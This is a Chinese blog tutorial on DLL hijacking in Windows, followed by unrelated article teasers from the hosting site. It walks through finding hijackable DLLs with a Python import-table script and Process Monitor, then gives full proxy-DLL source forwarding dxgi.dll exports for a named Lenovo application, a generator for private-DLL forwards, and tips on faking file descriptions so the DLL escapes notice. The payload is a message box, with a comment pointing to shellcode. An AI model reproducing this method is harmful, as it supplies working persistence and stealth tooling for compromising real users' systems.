news 2026/6/29 20:05:40

DLL劫持技术

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
DLL劫持技术

dll劫持是Windows平台上的一种经典的持久化技术,利用的是系统加载动态链接库(dll)时搜索顺序的缺陷,我们将恶意dll放在目标程序会优先查找的路径下,让程序"自愿加载"并执行dll

安全dll搜索模式下,搜索顺序是

  1. 已加载模块 / KnownDLLs
  2. EXE所在目录
  3. System32(%SystemRoot%\system32
  4. Windows(%SystemRoot%
  5. 当前目录(CWD)
  6. PATH

当某个程序的dll被成功劫持,那么每次在这个程序启动的时候,恶意dll都会被执行,而且进程的数字签名是有效合规的,难以被查杀

dll劫持原理:dll的搜索顺序

自Windows XP SP2后,Windows都默认启用安全dll搜索模式,无论是静态连接还是动态链接的dll都会按一定顺序去查找

需要注意的是,传统的dll劫持无法劫持KnowDLLs中的dll,首先是其具有内核保护机制,其次其加载优先级最高

当程序加载某个dll时,若该dll在exe目录中存在同名文件,则会优先加载该路径下的 DLL,而不会继续使用系统目录中的原始dll。攻击者可在程序目录放置同名恶意dll,从而实现加载拦截

在需要保持程序正常功能的情况下,可以通过dll proxying(dll代理)技术,将原dll的导出函数转发至系统目录中的真实dll,实现隐蔽劫持而不影响程序运行

如果所劫持的dll其实根本不会用到,不会影响可执行文件的正常工作,就不需要对其导出表进行转发

可劫持dll的寻找

学过Windows开发的小伙伴都知道,dll的加载模式分为静态链接动态链接,静态连接(静态.lib)不参与dll加载,因此没有办法被劫持。所以我们目标就要放在动态链接上。而动态链接又分为隐式动态链接显示动态链接

隐式动态链接(也叫加载时动态链接),是PE Loader解析PE文件导入表时,需要在进程启动时就要查找、链接
显示动态链接(也叫运行时动态链接),是在代码执行过程中,在执行到LoadLibrary/ LoadLibraryEx时才去查找、加载

隐式链接的可劫持dll

由之前的说明可以知道,受内核保护的dll是无法被劫持的,所以不管是筛选导入表中的dll还是运行时加载的dll,都要排除

importpefile,winreg,sys,osdefknown():k=winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,r"SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs")i,s=0,set()while1:try:s.add(winreg.EnumValue(k,i)[1].lower())i+=1exceptOSError:breakreturnsdefimports(p):pe=pefile.PE(p)return{i.dll.decode().lower()foriingetattr(pe,"DIRECTORY_ENTRY_IMPORT",[])}if__name__=="__main__":exe=sys.argv[1]system32=os.path.join(os.environ["SystemRoot"],"System32")# 所有隐式链接的 DLLall_imports=imports(exe)# 受保护不可劫持protected=known()# 可劫持 = 导入 - 受保护hijackable=all_imports-protected# 分类:有系统原版(可代理) vs 无系统原版(私有/幽灵)with_system={dfordinhijackableifos.path.exists(os.path.join(system32,d))}without_system=hijackable-with_systemprint("=== 可代理劫持(System32有同名原版)===")print(len(with_system),"\n"+"\n".join(sorted(with_system)))print("\n=== 需进一步分析的私有DLL(System32无原版)===")print(len(without_system),"\n"+"\n".join(sorted(without_system)))

我们通过脚本来搜索目标程序的导出表,并且筛选。在先前已经说过,在可执行文件所在的目录没有搜索到它需要加载的dll,就会按顺序往下搜索,下一位是system32,我们需要做的就是在可执行文件所在目录放入同名恶意dll,系统就会按名字优先加载恶意dll

有一个关键点,有些dll其实是根本不会被用上,比如一些废弃的dll,即使原程序加载失败也不会影响程序正常运行(幽灵劫持)。但是,其实绝大多数dll都是携带了目标程序所必要的函数,如果我们劫持了dll换成恶意代码,那程序很有可能就会因为有函数无法导入而崩溃,所以除了极少数程序完全容忍的纯可选dll,劫持时都必须做函数转发,否则要么进程起不来,要么中途崩溃

我将使用联想文件管家作为目标而测试脚本,可以看见是一个很人性化的脚本

私有dll的转发后续也会进行演示

显式链接的可劫持dll

显式链接的dll,我们一般使用ProcMon来进行侦察->Process Monitor

对于显式链接的dll,名字是代码中的字符串,例如(LoadLibrary('hello.dll')),不在PE结构的导入表中,在静态分析导入表无法观察到,当程序运行到这行代码时才会出发搜索、加载(运行时动态链接

我们先设置过滤器

  • Process NameisLeFile.exe(你的目标进程,如何获取不必多说)
  • Pathendwith.dll(限制为dll文件)
  • ResultisNAME NOT FOUND(缺失的dll)
  • ResultisSUCCESS(对比分析后续是否会加载成功,用于分析dll代理,不加也没事)

我眼睛看不过来就不设置最后一条了~~(苦笑~~

接着直接启动目标应用,主要观察该应用所在目录的dll,我一眼就相中了这个,后面我去看了不在之前脚本跑出来的列表里面也不在受保护的名单中

多看看就行,想一下子找到也不太可能

为了验证是否这个dll在system32中是否拥有,我们修改过滤条件

结果显而易见,虽然exe所在目录没搜到,但在system32中搜到了!
这就是一个很好的实验样本

实现dll劫持

这次我就直接针对显示连接的dll进行劫持,其实对于在system32有原版的dll都是如法炮制

获取目标dll的导出表

什么是导出表?这个不会就先熟悉一下PE结构

在Windows下可以使用Visual Studio的终端

dumpbin /exports C:\Windows\System32\dxgi.dll

这一大串就是这个dll所提供的函数

转发dll

我这里讲解使用连接器#prama)转发,其他方法还有动态转发.def文件转发

#pragma comment(linker, "/EXPORT:CreateDXGIFactory=C:\\Windows\\System32\\dxgi.CreateDXGIFactory")

这段代码含义是,在这个.dll生成时将/EXPORT:后面的函数导出为转发到System32\dxgi.dll中的同名函数,由此看来我们需要生成和原来导出函数一样多的转发预处理指令

可以考虑借助工具生成

实现的源码

也不必多言,就是转发所有的原dll导出的函数,最后就是正常的DllMain

#include <windows.h> // 注意:64位程序必须转发到 System32,不是 SysWOW64! #pragma comment(linker, "/EXPORT:ApplyCompatResolutionQuirking=C:\\Windows\\System32\\dxgi.ApplyCompatResolutionQuirking") #pragma comment(linker, "/EXPORT:CompatString=C:\\Windows\\System32\\dxgi.CompatString") #pragma comment(linker, "/EXPORT:CompatValue=C:\\Windows\\System32\\dxgi.CompatValue") #pragma comment(linker, "/EXPORT:CreateDXGIFactory=C:\\Windows\\System32\\dxgi.CreateDXGIFactory") #pragma comment(linker, "/EXPORT:CreateDXGIFactory1=C:\\Windows\\System32\\dxgi.CreateDXGIFactory1") #pragma comment(linker, "/EXPORT:CreateDXGIFactory2=C:\\Windows\\System32\\dxgi.CreateDXGIFactory2") #pragma comment(linker, "/EXPORT:DXGID3D10CreateDevice=C:\\Windows\\System32\\dxgi.DXGID3D10CreateDevice") #pragma comment(linker, "/EXPORT:DXGID3D10CreateLayeredDevice=C:\\Windows\\System32\\dxgi.DXGID3D10CreateLayeredDevice") #pragma comment(linker, "/EXPORT:DXGID3D10GetLayeredDeviceSize=C:\\Windows\\System32\\dxgi.DXGID3D10GetLayeredDeviceSize") #pragma comment(linker, "/EXPORT:DXGID3D10RegisterLayers=C:\\Windows\\System32\\dxgi.DXGID3D10RegisterLayers") #pragma comment(linker, "/EXPORT:DXGIDeclareAdapterRemovalSupport=C:\\Windows\\System32\\dxgi.DXGIDeclareAdapterRemovalSupport") #pragma comment(linker, "/EXPORT:DXGIDisableVBlankVirtualization=C:\\Windows\\System32\\dxgi.DXGIDisableVBlankVirtualization") #pragma comment(linker, "/EXPORT:DXGIDumpJournal=C:\\Windows\\System32\\dxgi.DXGIDumpJournal") #pragma comment(linker, "/EXPORT:DXGIGetDebugInterface1=C:\\Windows\\System32\\dxgi.DXGIGetDebugInterface1") #pragma comment(linker, "/EXPORT:DXGIReportAdapterConfiguration=C:\\Windows\\System32\\dxgi.DXGIReportAdapterConfiguration") #pragma comment(linker, "/EXPORT:PIXBeginCapture=C:\\Windows\\System32\\dxgi.PIXBeginCapture") #pragma comment(linker, "/EXPORT:PIXEndCapture=C:\\Windows\\System32\\dxgi.PIXEndCapture") #pragma comment(linker, "/EXPORT:PIXGetCaptureState=C:\\Windows\\System32\\dxgi.PIXGetCaptureState") #pragma comment(linker, "/EXPORT:SetAppCompatStringPointer=C:\\Windows\\System32\\dxgi.SetAppCompatStringPointer") #pragma comment(linker, "/EXPORT:UpdateHMDEmulationStatus=C:\\Windows\\System32\\dxgi.UpdateHMDEmulationStatus") // BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { if (reason == DLL_PROCESS_ATTACH) { MessageBoxA(NULL, "注入成功!", "提示", MB_OK | MB_ICONINFORMATION); } // 进阶:在此创建线程执行反射注入或Shellcode return TRUE; }
安置dll并运行

最后编译生成后放到目标exe所在的文件目录

运行目标程序,注入框先于原程序出来(这是正常的),dll先于WinMain加载,并且弹框会阻塞线程,把弹框点掉原程序就正常出来了

ProcExp可以观察到两个不同路径的.dll,一个有描述一个没有描述(我们的恶意同名dll)

为了让恶意dll,可以伪造描述等字段,这样就看不出来了

至此就已经完成了整个dll劫持过程

私有dll的转发

在之前有提过,对于程序私有dll,无法在system32找到原版,我们可以对其重命名为有后缀版本,再添加一个与原版同名的恶意dll,并将函数转发到重命名后的dll

但是我们通过获取导入表,有五千多个函数,吓哭了

编写一个自动化脚本即可,批处理这些导出函数然后写入一个.h文件作为dll的头文件进行一起编译

importsubprocess,sys,redefparse_exports(dll):cmd=f'"D:\\soft\\vs\\VC\\Tools\\MSVC\\14.41.34120\\bin\\Hostx64\\x64\\dumpbin.exe" /exports "{dll}"'out=subprocess.run(cmd,capture_output=True,text=True,shell=True).stdoutreturnre.findall(r'^\s+\d+\s+[0-9A-F]+\s+[0-9A-F]+\s+(\S+)',out,re.MULTILINE)if__name__=="__main__":dll,target=sys.argv[1],sys.argv[2]# target 不带 .dll 后缀,例如 o funcs = parse_exports(dll)ifnotfuncs:sys.exit("导出解析失败")lines=[]forfinfuncs:lines.append(f'#pragma comment(linker, "/EXPORT:{f}={target}.{f}")')withopen("exports.h","w",encoding="utf-8")asf:f.write("// 自动生成的转发声明,共 {} 条\n".format(len(funcs)))f.write("\n".join(lines))print(f"生成 exports.h,包含{len(funcs)}个转发条目。")

生成头文件.h,我们把这个添入VS项目中

在其最开始进行导入

#include <windows.h> #include "exports.h" BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { if (reason == DLL_PROCESS_ATTACH) { MessageBoxA(NULL, "私有DLL劫持成功!", "提示", MB_OK | MB_ICONINFORMATION); } return TRUE; }

编译之后放到目标exe所在目录运行即可

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/29 20:05:04

RFID资产管理系统实测:真的能提升盘点效率吗?

传统资产盘点的痛点&#xff0c;你中了几个&#xff1f;每到年底盘点季&#xff0c;资产管理员就开始头疼。人工逐件核对台账、手动录入数据、反复确认差异……一项针对企事业单位的调研显示&#xff0c;单次资产盘点平均耗时超过120小时&#xff0c;资产流失和重复采购造成的浪…

作者头像 李华
网站建设 2026/6/29 20:04:46

03 解包与处理

在理解了前面介绍的数据包的三种格式后&#xff0c;我们来介绍一下针对上述三种格式的数据包技术上应该如何处理。其处理流程都是一样的&#xff0c;这里我们以包头 包体 这种格式的数据包来说明。处理流程如下&#xff1a; 假设我们的包头格式如下&#xff1a; //强制一字节…

作者头像 李华
网站建设 2026/6/29 20:04:35

终极指南:如何使用Fan Control彻底解决Windows电脑风扇噪音问题

终极指南&#xff1a;如何使用Fan Control彻底解决Windows电脑风扇噪音问题 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Tr…

作者头像 李华
网站建设 2026/6/29 20:00:04

SpringBoot集成国密SM4算法实现配置文件自动加解密方案

1. 项目概述与核心价值最近在做一个对数据安全要求比较高的项目&#xff0c;客户明确要求配置文件中的敏感信息&#xff0c;比如数据库密码、API密钥这些&#xff0c;不能再用明文了。这要求很合理&#xff0c;毕竟谁也不想自己的生产库密码在配置文件里裸奔。一开始我考虑用Ja…

作者头像 李华
网站建设 2026/6/29 19:56:22

给大模型输出做合规过滤兜底

先把结论摆这儿&#xff1a;别指望模型本身百分百守规矩&#xff0c;真正稳的做法是在输出侧再加一层过滤兜底改写——命中风险词就拦&#xff0c;拦了别甩个 500 给用户&#xff0c;换一句得体的话顶上去。下面按 风险 → 怎么过滤 → 取舍 三段讲,都是我自己踩过的。 一、风…

作者头像 李华